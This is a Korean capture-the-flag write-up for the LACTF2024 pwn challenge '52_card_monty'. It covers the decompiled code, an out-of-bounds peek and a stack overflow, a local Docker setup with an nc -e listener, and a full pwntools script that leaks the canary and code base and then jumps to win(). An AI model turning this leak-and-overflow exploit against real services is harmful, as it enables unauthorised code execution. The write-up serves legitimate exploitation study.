checksec
[*] '/home/seo/study/LACTF2024/52_card_monty/monty' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No
Decompiled-src / Analysis
game
함수 호출.
int __fastcall main(int argc, const char **argv, const char **envp) { setup(argc, argv, envp); puts("Welcome to 52-card monty!"); puts( "The rules of the game are simple. You are trying to guess which card is correct. You get two peeks. Show me the lady!"); game(); return 0; }
v3
변수의 인덱스에 대한 검사가 없기 때문에 OOB 취약점 발생. 총 2번 일으키므로 code base와 canary 유출 가능.
fgets
가 s
24크기보다 더 큰 52바이트를 입력받으므로 BOF 취약점 발생.
unsigned __int64 game() { int v1; // [rsp+0h] [rbp-1D0h] BYREF int i; // [rsp+4h] [rbp-1CCh] __int64 v3; // [rsp+8h] [rbp-1C8h] _QWORD v4[52]; // [rsp+10h] [rbp-1C0h] BYREF char s[24]; // [rsp+1B0h] [rbp-20h] BYREF unsigned __int64 v6; // [rsp+1C8h] [rbp-8h] v6 = __readfsqword(0x28u); memset(v4, 0, sizeof(v4)); for ( i = 0; i <= 51; ++i ) v4[i] = lrand(); v1 = rand() % 52; v4[v1] = 1111111111; puts("=============================="); printf("index of your first peek? "); __isoc99_scanf("%d", &v1); v3 = v4[v1 % 82]; v4[v1 % 82] = v4[0]; v4[0] = v3; printf("Peek 1: %lu\n", v3); puts("=============================="); printf("index of your second peek? "); __isoc99_scanf("%d", &v1); v3 = v4[v1 % 82]; v4[v1 % 82] = v4[0]; v4[0] = v3; printf("Peek 2: %lu\n", v3); puts("=============================="); printf("Show me the lady! "); __isoc99_scanf("%d", &v1); puts("=============================="); if ( v4[v1] == 1111111111 ) puts("You win!"); else puts("Just missed. Try again."); puts("=============================="); puts("Add your name to the leaderboard."); getchar(); printf("Name: "); fgets(s, 52, stdin); puts("=============================="); printf("Thanks for playing, %s!\n", s); return v6 - __readfsqword(0x28u); }
Docker 가상환경 구축
- ubuntu 22.04.05 환경에서 flag 획득 불가로 Docker 구축 필요
sudo docker build . -t 52_card_monty sudo docker run -it --rm --privileged --security-opt seccomp=unconfined -p 1337:1337 52_card_monty sh /srv/app # nc -lvp 1337 -e /srv/app/run listening on [::]:1337 ... connect to [::ffff:172.17.0.2]:1337 from [::ffff:172.17.0.1]:50326 ([::ffff:172.17.0.1]:50326) Segmentation fault (core dumped)
solve.py
from pwn import * # context.log_level = 'debug' context(arch='amd64', os='linux') warnings.filterwarnings('ignore') # p = process("./monty") p = remote("127.0.0.1", 1337) e = ELF('./monty', checksec=True) sla = p.sendlineafter sa = p.sendafter payload = b"57" #ret sla(b"index of your first peek? ", payload) code_base = p.recvline() code_base = code_base.split(b"Peek 1: ")[1].split(b"\n")[0] code_base = int(code_base) - 0x167e success(f"code_base: {hex(code_base)}") payload = b"55" #canary sla(b"index of your second peek? ", payload) canary = p.recvline() canary = canary.split(b"Peek 2: ")[1].split(b"\n")[0] canary = int(canary) success(f"canary: {hex(canary)}") sla(b"Show me the lady! ", b"1") payload = b"A"*24 + p64(canary) + b"B"*8 + p64(e.symbols["win"] + code_base) sla(b"Name: ", payload) p.interactive()
Result
seo@seo:~/study/LACTF2024/52_card_monty$ python3 solve.py [+] Opening connection to 127.0.0.1 on port 1337: Done [*] '/home/seo/study/LACTF2024/52_card_monty/monty' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled Stripped: No [+] code_base: 0x56fd9c27c000 [+] canary: 0xe6096a4aeb61fb00 [*] Switching to interactive mode ============================== Thanks for playing, AAAAAAAAAAAAAAAAAAAAAAAA! flag{fake_flag} [*] Got EOF while reading in interactive $